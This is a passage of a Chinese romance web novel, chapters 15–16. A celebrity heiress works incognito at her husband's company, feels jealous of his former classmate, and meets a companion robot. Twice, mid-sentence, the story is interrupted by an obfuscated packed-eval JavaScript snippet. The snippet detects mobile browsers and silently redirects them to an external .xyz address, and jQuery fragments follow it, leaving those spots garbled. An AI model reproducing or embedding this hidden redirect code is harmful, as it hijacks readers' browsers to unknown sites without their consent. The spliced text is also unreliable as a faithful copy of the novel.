送完茶点,她拿起托盘,正准备离开,姜琳搁在茶几上的手机“叮”地一声亮了。
温珍旎下意识瞟了一眼,不经意看到锁屏。
背景是一张略显模糊的旧照,但是不难认出上面的主角。
高中时的慈恒,最简单的西装都压不住少年人渐显锋利的轮廓。而身边穿伞裙的少女与他同时看向镜头,笑起来的眼睛里盛着与气质不符的倾慕。
她记得,那是KWHS沃顿商赛的领奖台,十七岁的慈恒带领团队拿下了冠军。
温珍旎看向姜琳。
落地窗外阳光正浓,将天鹅绒沙发染成了玫瑰灰,姜琳向前倾身,在手机屏幕划动着,卷发顺着她的脖颈滑落,那张脸与旧照里稚气的脸逐渐重叠。
随着旧照消失在屏幕,温珍旎这才发觉自己一直屏着呼吸。
天海一中校园论坛流传的双学霸神话,赛事报道里多次和慈恒同时提及的搭档,竟然就是她么?
15. 015
那些零散的线索忽然具象起来,一点一点串成了清晰的画面。她突然想起,当年风靡天海一中的校园女神,名字就叫姜琳。
温珍旎对这个女人有印象,还是因为她经常和慈恒搭档参加各类知识竞赛,名字总是和慈恒同时提起。
按理说,她是和慈恒齐名的学霸,又同是学校重点培养的学生,关系近点也无可厚非。
可是看到她居然把两人的合照作为锁屏背景,温珍旎心里生出一种莫名的怪异感。
这种不舒服实实在在影响了她的心情,一直持续到去总裁办公室送文件。
慈恒没在,她把文件压在鼠标下。但是一想到狗男人到处招蜂引蝶,过去了这么多年,还能让高中同学惦记,她就一肚子郁闷。
“狗男人,不守男德。”
温珍旎对着空气挥拳,还不够解气,又从衣兜里翻出便签本,画了只丑陋的猪头,一起塞到文件里。
“温助理没见到人,就拿办公桌撒气?”
凉薄的声线裹着冷气在门口响起,吓得温珍旎一哆嗦。
“你走路都没声音的吗?”她拍着吓坏的小心脏,转头撞进慈恒似笑非笑的眼。
不知道什么时候倚在门边的,西装外套还穿在身上,应该是才见完客户回来。
“什么表情?做亏心事了?”他摘掉眼镜,桀骜的眉眼卸下锋芒,倒真有几分像旧照里那个风华正茂的少年。
“没有,我在好好工作呢,绝对不会叫你抓住我的小辫子。”
温珍旎反驳完,突然反应过来不对劲。
她还在生气,怎么看到这张脸就把脑子丢到十万八千里外了。
没骨气!
“慈总,您要的数据分析已经送到,我回办公室继续工作了,再见!”
她忙着要走,被慈恒拽住衣领按在原地,“急什么。”
窗外阳光偏斜了几分,暖色落在男人冷白的皮肤,青灰暗影显得眸底有些厉色。
“上班第一天,你对上司就这态度?”
“是啊。”温珍旎像只被抽干了气的气球,焉巴巴地耷拉着脑袋,“上班第一天就见识到了社会的险恶。”
听她长声短叹,显然是有小情绪。
总裁办就在旁边,就算不刻意去关注,也会有风声走漏出来,送到他耳朵里。
慈恒撑着桌子欺近,打量时,眼镜晃出冷光,“是谁吵着要来上班的,半天时间就想打退堂鼓了?”
“才不是因为工作的原因。”
这张脸怼在眼前,温珍旎觉得气势格外地压人,不禁吞了吞口水。
“同事霸凌你了?”
“没有。”
她后退半步,望着男人戏谑的眼神,很不服气地提了提胸,“除了个别,大部分同事都很和善,倒是你……”
“我怎么了?”
慈恒好整以暇地看着她,“我才见到你,怎么惹到你了?”
“那我问你啊……”
温珍旎别扭了一下,还是问了出来,“姜琳跟你什么关系?高中白月光?”
“从哪得出的结论?”慈恒眯起眼,一副被雷轰过的表情,“艺术固然来源于生活,但也不能太脱离现实。跟我同班就是白月光,那你跟我同床,是不是月光中的月光。”
“……”温珍旎噎住。
她说一句,他能阴阳十句。
这张嘴咋这么能叨叨。
慈恒轻声笑,“所以你不是来告状的,是来查岗的?”
“对,我来抓奸。”
阳光照在脸上,一个不小心,温珍旎又被他的脸晃了神。
她吞咽着口水,向后反撑住办公桌,手腕被宽大的手掌扣住。
“温珍旎。”
他温声念她的名字,像舌尖碾着蜜糖,“你似乎很在意我跟别的女人有关系?”
像是抓到了她不为人知的秘密,男人揉了揉她发顶的丸子,脸上露出得色。
“别不开心,我和她仅限于合作关系,和你才是共生关系。”
该说不说,这狗男人不温不火,永远掌握着主动权,温珍旎还真的有被哄到。
她眼尾扬起狡黠的弧度,“嗷”了一声。
“嗷是什么意思,小狗叫唤?”
“就是知道的意思啊。”
温珍旎感觉被他触碰的耳根在发烫,那点灼热顺着血液的沸腾燎上了耳尖。
怪热的,怪痒的。
两人鼻尖相抵的瞬间,须后水清冽的气息混着他的呼吸,涌进她的鼻腔。
温珍旎触电般地往后仰去,掌心抵住西装下的胸膛,赶紧从怀抱中挣脱出来,扶好快要掉落的眼镜,“我回办公室了。”
反应还挺快!
慈恒指尖残留着她耳尖灼烫的温度,面上却不动声色,“以后文件要当面交到我手里,记住了?”
温珍旎大声回道:“记住了。”
“还有冰箱里的黑森林蛋糕,记得吃。”
“那个是给我的?!”
这就尴尬了吧。
温珍旎支吾,“我以为是给客人准备的,就送给你的老同学了。”
该说她什么好。慈恒无奈扶额,“林诺早上开车去城东买给你的。”
他自己没长嘴,那怪谁!
温珍旎更无语,“……慈总,有一种东西叫微信,麻烦下次微信告诉我。”
她嘀咕了一句“老古董”,朝他皱了皱鼻子,“不跟你说了。”
看着人慌不择路,差点撞在门上,慈恒摇着头在身后提醒,“慢点走。”
回应他的只有匆忙的背影,和高跟鞋快步走远的声音。
返回到办公桌,翻开那份数据报告,一张便签纸便随之飘落。
看到上面小学生画风的猪头涂鸦时,他愣了两秒,只觉好气又好笑。
姜琳敲门进来,便看到慈恒捏着一张便签纸,凌厉的下颌线被柔化得近乎温柔。
不过只是一瞬,察觉到她进来,慈恒将便签收回抽屉,眼镜重新架回鼻梁,那个刀枪不入的掌舵人又恢复了公事公办的模样。
就仿佛窥见的温柔,只是她的错觉。
**
入职第一天,温珍旎被李薇支使得团团转,几乎跑断了腿。
熬到下班时间,她就像被人套了麻袋打了一顿,还抽掉了脊骨,浑身酸得几乎要散架。
慈奶奶把慈宇叫回樟园了,慈恒晚上有应酬,让司机送她回去。
温珍旎直接拒绝了,一通电话把奚淼约出来吃饭。
从进餐厅开始,她就一副焉了吧唧的样子。
奚淼忍不住揶揄,“我们的大明星跟霜打的茄子似的,怎么啦,社畜生活不顺利?”
“哪有不顺利的!”
温珍旎点了一份沙拉,把银叉戳进沙丁鱼,“比拍戏吊威亚轻松太多了。”
“可是旎宝,你脸上都写着不高兴三个字了。”
奚淼托着腮,“跟姐们说说,遇着什么事了?”
温珍旎没胃口,无聊地翻着沙拉,“你记得天海一中的学霸女神姜琳?”
“我知道。”
奚淼有点印象,“总跟你老公搭档参加竞赛那女的。”
温珍旎小口吃着牛油果,点头,“我见到她了,她代表方胜集团跟泰华谈合作。”
“今天我给她送牛奶的时候,不小心看到了她手机锁屏,是跟慈恒比赛领奖的合照。”
“呵!”奚淼一点都不意外,“高中就捆绑慈恒拿奖,我就知道她心思不单纯了。你看现在,都结婚三年了,还贼心不死呢。”
吐完槽,她又追问,“慈恒那里怎么说的?”
“解释了,跟她只是合作来往。”
“……原以为我不会在意,可想起来,心里还是很郁闷。”
刚开始还好,现在她回想起来,那股怪异的感觉就从胃里翻涌上来。
“我觉得自己的东西被人觊觎了。”
奚淼挑眉,表情戏谑:“你别告诉我,你打满分的优秀基因经不起考验,精神出轨了。”
温珍旎瞪她,“不可能。”
奚淼不调侃她了,“你要的是配得上自己又能给你钱花的男人,你提供情绪价值给他,大家各取所需而已,要什么心理负担,心安理得地享受不就得了。”
说的好有道理啊。
“这么一说,我好像还是比较赚的那个。”
温珍旎的心情瞬间好了很多,狠狠塞了一大口沙拉,“唔,好吃!”
奚淼托起腮,意味深长地看着把自己塞成松鼠的女人,“温大小姐,你难道就没发现,你嘴上总是说什么强强联合,其实你的心……早就向他偏移了,你其实,非常非常在乎他。”
温珍旎的手猛地顿住,玻璃外流动的霓虹映在眼底,像碎了一池的光,把她的兵荒马乱都藏了起来,却藏不住砰然跳动的心。
还好手机屏幕亮得及时,她遮掩着垂下眼睫,伸手捞起手机。
慈恒在问她有没有回家。
温珍旎望着对话框上方的“正在输入中”,突然发现结婚的这三年,她从未问过慈恒,作为商业联姻对象,被她评估为完美的男人,会不会为别人心动。
“承认吧。”
奚淼指甲敲着桌面,看她快要把手机屏幕抠出一个窟窿,“你们青梅竹马,就算是商业联姻,那也是建立在喜欢的基础上的。”
“你如果实在不放心,就死缠烂打,把他的心拴住好了。”
落地窗外,江面上的游轮忽然拉响了汽笛,冗长的鸣笛声惊醒了温珍旎。
剩下的沙拉吃不下了,她快速拿过包包,晃着手机,“不聊了,我得回去了。”
“喂,你是不是好的也太快了?”
奚淼还没反应过来,温珍旎的身影已经到了门外。
**
锦煌夜宴,贵宾包厢里的应酬已经接近尾声。
满室的喧嚣如潮水般退去后,只剩一桌残羹冷炙。
“千言万语,还是感谢慈总的肯定,愿意给方胜一个机会。”方胜的总经理全程陪着笑,感谢的话重复了一次又一次。
一桌的人,没人敢劝慈恒的酒,但男人那点恶趣味一点没少。
他们表面捧着慈恒,话里话间却摆老资历的款,酒喝上头了,个个脸红脖粗的,又开起姜琳的玩笑。
方胜的人都知道,这次能顺利拿下云顶度假区项目,姜琳这层关系是少不了的。
顾忌到慈恒的已婚身份,玩笑不好太过火,便只是提了提两人学生时代的交情,感谢他的人情。
慈恒摩挲着无名指上的戒指,笑得客气又敷衍。
“是姜总能力出众,谈判技巧和她的实验数据同样出色。”
他对这个饭局始终兴致缺缺,但还是出于教养,维护了姜琳的体面,肯定了她的工作能力。
姜琳心里自然感激的,她看向抬腕看表的慈恒,“都是过去的事了,以前我们是好搭档,现在是很好的合作伙伴。”
说着是合作关系,目光却一瞬不瞬地停留在慈恒身上。
众人的眼神在两人之间流转,似乎都察觉到了姜琳的心思,眼神里多少带点暧昧。
不过在触及慈恒冷冽的眉眼时,纷纷收敛住窥探隐私的欲望。
谁都知道,泰华的这位掌舵人英年早婚。虽说在这个圈子里,貌合神离的夫妻不少,已婚根本代表不了什么。
慈恒根本不在意旁人的所知所想,听了两个小时的奉承话,早就腻了。
他神色不耐地转动着婚戒,忽地起身,浓浓的压迫感震得在座之人屏气凝神。
“诸位,太太还在家等,先行一步。”
他一动,其余人自然跟着起身。
有人听懂了他的言下之意,笑着恭维道:“慈总归心似箭,原来是心系家里的太太。”
慈恒垂目点头,“太太年纪小,比较粘人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861613|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说罢接过侍者递上的大衣,带着一众高层,提前结束了这场应酬。
桌上怎么都撬不开的嘴,却在离开的这一刻大方坦白了他和妻子的感情。
橡木门合拢的瞬间,他身上那股冷冽的气息仿佛还萦绕在包房里,留下高层们面面相觑。
车子停在楼下,慈恒坐进后座,从西装内袋掏出手机。
屏幕上有一条未读消息:【老公,今晚回香山路。】
温珍旎的最新回复定格在两个多小时前。
他盯着看了好久,仿佛能想象到她敲下消息时的表情。
“阿恒,顺路送我一程可以吗?”
姜琳追出来,拢着大衣跟到了车边。
她弯腰看着车里的男人,夜色下,酒后的酡色明显,睫毛上的黑色膏体有些晕染开了,像是被泪水侵湿。
“抱歉,不方便。”
慈恒直接了当地拒绝了她的请求,交代陆方洋,“重新安排一辆车,送送姜总。”
看着他转动婚戒的动作,姜琳的笑容僵在脸上,还未说出的话堵在了喉咙。
慈恒将车窗升起,吩咐林诺开车,“回香山路。”
黑色宾利发动了引擎,绝尘而去,留下一脸黯然的姜琳。
车子开出一段距离,驾驶位上的林诺调高了空调温度,从后视镜偷瞄了老板一眼。
“先生拒绝人还是一如既往的冷酷。”
这三年他负责照顾慈恒的饮食起居,见识了各种女性,花瓶名媛有,精英丽人也不缺,总的来说,姜琳要不是占了个同学的优势,还真排不上号。
“你觉得我刻薄了?”
慈恒扯松领带,名贵的百达翡丽腕表在昏暗的光线里泛着光,“跟人说些模棱两可的话,惹人厌烦。”
林诺听出老板的不快,如果不是教养使然,只怕当场就跟人翻了脸。
如此看来,太太在他心里是有位置的。只是相识多年,习惯成自然,还不曾意识到,其实这段商业婚姻是建立在感情基础上的。
浓黑的夜色浸透香山路时,宾利慕尚缓缓泊在楼下。
指纹解锁进客厅,喉间还残留着灼烧感,酒后的不舒服一股脑全涌上来。
慈恒烦躁地将领带扯下来,连同大衣一起扔进沙发。
温珍旎在门把手转动时已然半醒,被子掀开一角时,她睁开眼,撞进慈恒染了醉意的眸子。
床头灯将他的轮廓镶上了一层暖光,男人背着光俯身,骨节分明的手撑在她的枕畔。
“几点了?”她问。
“十一点半。”
温珍旎迷迷糊糊地摸他的脸,有些烫。
慈恒扣住她的手,交叠着指尖按在脸上,“今天给我画猪,还没找你算账。”
温珍旎嘟囔,“我的画功怎么样,是不是很形象?”
慈恒忽然想吻她,便真的低头吻了她的眼睛,“是不错,像你。”
温珍旎反驳,“像你。”
一股酒气扑在鼻息间,她挣扎着想躲,被慈恒强硬地裹进怀里,疲惫的嗓音落在耳畔,“乖乖,睡觉。”
不然就别睡了。他咬着耳朵威胁她。
温珍旎不信,当她傻呢,谁喝了酒还能那个的……
动弹不了,她也懒得浪费力气了,由着他把自己当作抱枕。
结果就是,隔天早上起来浑身都酸疼。
听到衣帽间传来的窸窣声,温珍旎裹着被子翻了个身,瞥见慈恒扣着袖扣出来。
“今天打算旷工,还是打退堂鼓?”
瞧,大清早的就调侃她。
但是班都上了,还能怎么着,只能硬着头皮继续上了。
温珍旎抓了抓头发,慢吞吞地爬起来洗漱换衣服。
家里没有阿姨准备早餐,林诺来接两人的途中,事先买好了早餐。
但是上班快要迟到了,温珍旎只能在车里速战速决。
不得不说,林诺这个生活秘书是真的称职,不光能照顾好慈恒的饮食,连她的喜好也一清二楚,全是她想吃的。
“这个杏仁酥好吃。”香到迷糊的点心,咬一口就掉渣。
“你喉咙有洞?”
碎屑掉的到处都是,慈恒嫌弃地抽了一张纸巾,垫在她下巴,单手帮她接住酥皮,“吃东西就吃东西,别说话。”
“噢。”温珍旎嘴上应得好好的,还是继续说自己的。
“我想起一件事,林秘书,你帮我配一辆价格实惠的代步车吧。”
林诺还没开口询问,后座翻动文件的声响骤停。他好奇地看了眼后视镜,只见慈恒皱起眉头。
“大小姐当腻了,要下凡体验凡人的生活了?”
“也不是啦。”
温珍旎咽下最后一口杏仁酥,酥皮沾在了唇珠上,“你出去应酬的时候,我可以自己开车下班,省得林秘书来回跑了。”
林诺笑着表示:“太太不用担心这个,我可以先送太太回家,再接先生。”
温珍旎:“……”她就是想要一辆车而已。
见慈恒还是不表态,抱住他的手央求道:“老公,你说句话啊。”
“手擦过了吗?”慈恒垂眼盯着她刚拿过点心的手。
温珍旎赶紧松开。
慈恒在文件署名的地方刷刷签上名字,“慈宇定了辆帕拉梅拉,拿给你开。”
“那车少说也有一百万了。”温珍旎对自己现在的定位非常清晰,“我的人设只是月薪几千的小职员。”
慈恒把笔套上,随手往文件夹里一塞,“给你换个两轮车就老实了。”
温珍旎:“……还是帕拉梅拉吧。”
慈恒将她的小表情看在眼里,环臂在胸前,“有些话说在前头,自己开车上班可以,太晚了还是让司机接你,我可不想在社会新闻上见到你。”
关心她的安全就直说,非得画蛇添足加最后一句。
温珍旎心里一阵腹诽,甩下三个字:“知道了。”
16. 016
到了总部大楼,还是老规矩,两人在地铁站分开。
经过昨天的初次交锋,李薇摸清了她的底细,今天就理所当然地把她当成了可供随意驱使的牛马。
温珍睨刚到办公室,还没坐下,一大摞文件夹先拍在了面前。
“度假区项目即将开工,这些是各部门汇总上来的数据资料,你整理出来,建立好档案库。”
李薇涂着甲油的手指点了点快要淹没电脑的文件,“还有这个,多核对几遍,确保没有录入错误。重点标红的地方,再跟各部门确认一下。”
温珍旎比划了下,惊讶文件居然可以堆得这么厚,“这么多的吗。”
“干不完就只能加班咯。大家都是这么过来的。”
说完,李薇抱着手臂回了自己工位。
温珍旎随便翻了一本,每个字都认识,但是组合在一起怎么就看不懂。
露西看她一脸犯难,凑过来说:“批文、图纸、合同这些分类保存,纸质档和电子档都要存档。”
“噢,好。”没上过行政班的温珍旎懵懂地点着头,实际上如听天书。
但是话说回来,班是她自己要来上的,退堂鼓是不可能的。
歌词台词多看几遍就能倒背如流,娱乐圈她都干到了top,不信还搞不定一个文档。
她信心满满地打开表格,然后愣住三秒。
嗯,还是有点复杂的。
工作量大,业务又不熟悉,温珍旎做起来一个头两个大,中午就没和露西她们去食堂吃饭。
奚淼发消息约她下班之后逛街,温珍旎像被抽了骨头似的,备受打击地趴在桌上,回了一个‘要死’的GIF表情,逮着嫡长闺大倒苦水。
【去不了,今晚铁定要加班。】
【我就说工位干嘛做这么大,原来都是用来堆文件的。】
【……对了,你知道文件怎么整理吗?】
奚淼卧了个槽:【姐们,你看我长得像上过班的样子?】
当然,在奚大小姐看来,没什么事是金钱解决不了的。
一块不行,那就十万。
于是奚淼开始出馊主意:【费那劲干嘛,我这就给你找十个枪手来。】
温珍旎:【大小姐,这是公司内部文件,不是小学生作业。】
奚淼:【……】
几秒钟后,甩了一条链接过来:【姐们,我只能帮到这里了,你慢慢磨吧。】
温珍旎点开链接,全是学习视频合集,每个视频长达一小时。
“要学的也太多了……”她心头一沉。
还是先吃饭吧,毕竟吃饱了才有力气继续干活。
她利索地关掉了电脑,到食堂时,已经过了用餐高峰,餐厅里显得有些空荡冷清。
工作再繁琐难搞,在饮食上她也绝不会亏待自己。买了份喷香的干锅排骨不够,又要了一份茶树菇牛柳。打饭小妹看她长得像温珍旎,还偷偷地多加一颗蒸山芋。
她已经彻底接受自己妆造失败的结果了,脸不红心不跳地接受了小妹的赞美。
随便找了个位置,刚坐下,一个身影便端着餐盘,利落地在她对面落了座。
“嫂子。”
温珍旎抬头,看是小叔子,有点惊讶,“你也这个点来吃饭?”
“习惯了。”慈宇把多拿的一杯冰镇饮料推到她面前,“冰的,提提神。”
“对了,嫂子。”慈宇忽然想起来一件事,“你要的那辆车,我让林秘书开回紫金湾了。”
温珍旎夹起一颗茶树菇塞进嘴里,含糊应道:“好。”
目光触及温珍旎略显憔悴的脸色,慈宇关切道:“才上两天班,嫂子你都有班味了。”
温珍旎啜了口饮料,“整理了一上午的文件。”
“啧,不愧我哥,半点水都不放。”
慈宇说完想起自己,肩膀也是一垮,控诉道:“嫂子你信吗,我哥就给我开了一千块的底薪,五线城市都不止这个数。说什么基层锻炼,其实就是亲情绑架,纯纯压榨我这个廉价劳动力。”
温珍旎想起来了,慈恒是跟她说过的。这个小叔子底薪一千,全勤两万。
论惨,那还是他惨啊。
温珍旎顿觉安慰。
作为嫂子,她管不了慈恒,只能从精神上给予同情,“你哥这个魔王说一不二,我帮不了你,自求多福吧。”
难嫂难叔,各有各的苦水。
吃完饭,温珍旎回办公室睡了个午觉,下午的工作进展竟然意外的顺利。
虽然还是加了一个小时的班。但好歹把工作做完了。
同事陆陆续续走光了,温珍旎揉着发胀的太阳穴,摘下眼镜,舒舒服服地伸了个懒腰。
揉着脖子往窗外看,傍晚的天空像一杯渐浓的拿铁咖啡,缓缓地在天边晕染开。
温珍旎正准备起身,脚底下突然踢到了什么东西。
她疑惑着低头,居然是一个银色机器人!
个子刚到膝盖位置,体型圆滚滚的,屏幕上的电子眼睛像颜文字一样变来变去。
好萌的机器人啊!
她蹲下来,戳了戳眼睛,又抱住圆乎乎的脑袋左看右瞧。机器人竟然也跟着她的动作歪起脑袋,动来动去。
“小东西,你会说话吗?”
第一次近距离接触机器人,温珍旎好奇得不行,总是忍不住戳它圆鼓鼓的脑袋。
“我会说话呀。”
显示屏上的眼睛显示成可爱的形状,奶声奶气的电子音在安静的办公室里格外清楚。
“我是天星第三代陪伴型机器人。妈咪,你可以叫我星星。”
机器人仰起脑袋,转着圈圈蹭她的小腿,“妈咪,星星有很多功能,还会播放sweety的经典歌曲噢。”
温珍旎,“你还知道sweety?”
“星星知道,是妈咪的歌。”
温珍旎被小东西逗笑了。
看着机器人笨拙地在原地打转,就觉得好滑稽,“星星,你到底是扫地机还是机器人啊?”
星星一本正经地回答:“星星是第三代陪伴型机器人,可是星星也能扫地。星星演示给你看。”
说着就在地上转起来,圆滚滚的身体配合着电机运转声,虽然笨拙得略显滑稽,却也可爱到了极致。
演示完之后,又围绕着她的腿转圈。
“妈咪可以和星星来一盘捡贝壳游戏吗?”
显示屏跟着跳出一个像素风小游戏。是一款简单的双人小游戏。
温珍旎反正也无聊,索性就跟它玩了几盘。
星星输的时候,眼睛会变成荷包蛋泪眼,用机械臂擦拭并不存在的眼泪。
赢的时候,就发出哈哈笑声,还要嘲笑她输了。
温珍旎跟它聊得起兴,干脆坐在地上,和它拍起合照,还把照片翻给它看。
一大一小两个身影靠在一起,活像两个玩得很好的小朋友。
“你还真是,跟谁都能聊上两句。”
慈恒靠在玻璃门上,抱着手臂,嘴角噙着笑,也不知来了多久。
温珍旎从地上起来,指着星星给他介绍:“很可爱的机器人对吧,它叫星星。”
“我知道,慈宇送你的机器人,编号002。”
星星咕噜咕噜地走到了慈恒脚边,慈恒弯腰轻弹着星星的脑袋,“叫我什么?”
星星奶声奶气地叫道:“爸比。”
慈恒目露满意,转头问她:“工作做完了?”
“做完了,看到星星就跟它玩了一小会儿。”
温珍旎一看时间,下班都两个钟头了。她深吸一口气,“你不会一直在等我吧?”
慈恒:“没等你,我在等大楼关灯。”
“……”这人的嘴!
温珍旎皮笑肉不笑,拿过包包,“下班下班,为表歉意,我们去吃烤鱿鱼吧。”
对了,还有星星,“星星怎么办?”
慈恒:“它不需要人照顾。你没来的时候它就已经在这了,工龄比你长。”
星星知道两人在讨论它,仰起脑袋,“妈咪,我可以自己回家,还可以给自己充电哦。”
说完扭着矮胖的身体,咕噜咕噜地出门去了。
一路还能听到它奶声奶气,又有点冰冷无情的声音,“请给我让路,我要回家啦。”
温珍旎被小小的背影萌了一脸血,掏出手机要拍照,被慈恒眼疾手快地拽住胳膊。
“不是要吃饭,走了。”
顺手关掉灯,把人拎出大楼,拎上车。
她常去的那家烤鱿鱼店,就在回去的必经之路,有名的夜市里。
店面不大,藏在一条小巷子,因为味道好,声名远播,一到下班时间就挤满了人。
屋里没地方坐了,温珍旎拉着一脸抗拒的慈恒坐在外面临时搭的小桌。
鱿鱼串和五花肉烤得香极了,端上来还在滋滋冒油花。
“在剧组的时候,我最想的就是这口了。”
温珍旎被飘散的油烟熏得眯起眼,却顾不上烫,急不可耐地咬了口五花肉。
“可惜经纪人看得太紧,只能晚上偷偷点外卖。”话音被烫得含糊不清,鼓起的腮帮像松鼠储粮的颊囊。
结婚前,慈恒就被这姑娘拽进过这条小吃街,那时候还是油腻腻的塑料棚。
尽管吃过无数次,还是没觉得这些食物有什么魔力。
喜欢甜食,喜欢辣食,就没有她不喜欢的东西。
油星和孜然粉沾到了袖口,慈恒扯了纸巾垫在她面前,“家里厨师做的这么快就吃腻了?”
“也好吃,只是偶尔想换个口味。”
看他用银筷剔除焦边,把烤肉都剔在盘子里,温珍旎急了,“就得在串上吃才有灵魂。”
她把手里的烤鱿鱼举到慈恒唇边,“你试试。”
浓烈的辣椒味一股脑涌入鼻腔,还伴随着簌簌往下掉的辣椒粉。
慈恒下意识朝后仰去。
他躲,她偏追。
焦香肥厚的鱿鱼微微颤动,辣椒粉还是蹭了一点在他唇边。
“你自己吃,吃完回家。”他一边擦嘴,一边提醒,“小心让人看到,明天上热搜。”
“知道啦。”温珍旎也不是非要让他吃下,只是想看他卸下矜贵伪装的样子而已。
要知道,这个人养尊处优,捏着烤签都像签文件,吞咽快餐都像品尝珍馐,就几乎没什么事能让他方寸大乱。
她撑着脸,盯着他剔肉的动作正入神,忽然听到熟悉的声音。
“倩倩?”
温珍旎望过去,露西站在对面朝她挥着手。
她表情愣住,脑子里一片空白。
完犊子了!
但是露西已经走了过来,“老远看着像你,还真是你。”
看到背对着坐的人是慈恒,露西瞳孔震惊的同时,声音也小了一些,“慈总也在啊。”
慈恒只是点点头。
露西震惊到语无伦次,“那个……你们这是……出来吃饭啊。”
这两个人看上去不止认识,动作还很亲密,不大像是普通关系。
可是慈总对外公开是已婚身份,太太似乎是珠宝商金家的千金。
天呐,她的滤镜碎了。
都说有钱人玩的花,情人无数,私生子遍地跑……连慈总这样无情的大魔王也避免不了落入俗套吗?
她是不是发现了不得了的事?
露西尴尬到不行,走不是,不走也不是。
终于反应过来的温珍旎解释道:“我加完班,正好碰上慈总,就请他一块吃烧烤。”
不好说是慈恒请客,不然要怎么解释,堂堂泰华掌舵人,居然就请员工吃一顿路边摊。
那显得人多小气。
“哦哦。”露西暗暗松了一口气,“我是跟朋友出来逛街,正好经过这里。”
“……那个,朋友还在等我,先不聊了,明天再见。”
多留一刻,怕灭口,露西赶紧找机会溜之大吉。
慈恒从始至终都稳如泰山地坐在塑料椅里,倒是脸上的表情颇有揶揄的意思。
“不急,你还有一晚上的时间思考,明天找什么借口糊弄她们。”
餐盘里的烤肉码成了小山,慈恒开始慢条斯理地享受他的晚餐。
“这就叫一个谎言要用无数个谎言去圆。”
温珍旎:“……”
这种老公还能退货吗!
不知道是不是昨晚她和慈恒的亲密举止被看到了,第二天在楼下碰到露西的时候,露西一副欲言又止的神情。
进办公室前,露西特地跟她保证,“倩倩,你放心,我是不会说出去的。”
这误会大了。
温珍旎想解释吧,时机不对,不解释吧,误会怕是要继续加深。
她没想好怎么说,电梯“叮”地一声,停在了总裁办楼层。
刚到办公室外,两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861614|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人就听见里面一片笑语。
所有人都围在一起,不知道在拍什么东西。
“好热闹啊,看什么呢?”
露西凑过去,其他人赶紧招呼她和温珍旎。
“露西,倩倩,你们快来看,环星研发的第三代陪伴型机器人,好萌啊。”
“而且它还能准确地叫出我们每个人的名字,比我家的逆子强太多了。”
温珍旎还没从露西身后出来,那只圆滚滚的机器人已经挤开了人群,咕噜咕噜走到她身边,清脆无比地跟她打起招呼。
“妈咪,早上好。”
“……”
办公室顿时一片死寂。
所有人的目光齐刷刷地落到温珍旎的脸上。
温珍旎眼睛抽搐了一下,已经汗流浃背了,“昨晚我见过它了,可能是因为第一眼情结。”
你们信吗?
其实我自己都不信。
还好王主任及时驾临,拯救了快要社死的她,“九点三十一分了,还不上班做什么,这个月的绩效不想要了?”
此话一出,还在看稀奇的同事们立刻作鸟兽散,开机的开机,整理文件的整理文件。
小圆也切换成扫地机形态,在温珍旎的工位旁摩擦起锃亮的地板。
主任狐疑地扫视了一圈四周,压根没发现某个装死的机器人正用显示屏翻白眼。
他对温珍旎说:“倩倩,把昨天整理的文件拿到办公室来。”
温珍旎如蒙大赦,“好的,这就来。”
两人前后离开总裁办,后脚微信群“88层情报小分队”就开始了信息轰炸。
【环星研发的机器人,居然叫乔倩倩妈咪,这正常吗?合理吗?】
【不合理!】
【出bug了?】
【你们说,她不会有隐藏身份吧?比如说,环星某高层的……女朋友。】
李薇:【入职第一天我就打听过了,她家做的小生意,才不是什么大小姐,她那名牌包还是她朋友不要的。】
一直潜水没说话的露西默默冒头:【那个,我是说有没有一种可能,倩倩真有可能是隐形大佬。】
李薇:【不可能,我打赌。】
回完这句,群里便迅速沉寂下去,不再说话。
李薇心里烦躁,看到温珍旎回来,抱起一摞文件拍到她桌上。
“这些是你今天要整理的,尽快完成。”
“还有,下午方胜的人要来探讨项目方案,记得给姜总泡咖啡。”
温珍旎翻了一下,还真是自己负责的那部分工作。
如果李薇故意压榨她,她才不会当冤大头。
别看她和和气气,很好说话的性格,真遇上职场霸凌,她才不会当软柿子任人拿捏。
有了昨天的历练,今天的工作效率明显有了提升。
下午方胜集团的人过来,温珍旎暂时放下手头的工作,去会议室给姜琳端咖啡。
小会议室里,百叶帘半开,午后阳光正好。
慈恒坐在幕布对面,背靠着落地窗,指尖翻过一页页度假区方案。
片刻后,他摘下眼镜,视线落到幕布上,声音沉缓道:“度假区联动区内文旅,但是还不够,我们决定引入影视合作,进一步整合商业和文化资源。”
项目经理收到眼神示意,将激光笔指向幕布,“方胜给到的方案里,古建筑的结构我们希望专家坐镇,工匠指导,做到真正的复原。”
姜琳点头,“没问题,这方面我们一定严格把控。”
到了休息时间,温珍旎叩门进来,把姜琳的咖啡放下,顺带也泡了一杯给慈恒。
正要给他,慈恒却推开杯碟,“帮我换杯热水。”
“好的。”讲究的大少爷。
温珍旎默默腹诽了一句,把咖啡杯放回托盘,要去换热水。
“他不爱喝咖啡。”姜琳笑着说这话,却端着一副质问下级的姿态,“乔助不知道慈总的口味吗?”
温珍旎迎上了她的目光,“姜总好像很了解慈总?”
姜琳挑了下眉,碍于当事人在场,又有其他高层,没有再接话,但眼里的意思非常明显。
同学多年,朝夕相处,很难不了解一个人的喜好,何况还是有一直有好感的异性。
不过温珍旎必须承认,她对慈恒了解的不够,并不知道他喜不喜欢咖啡。
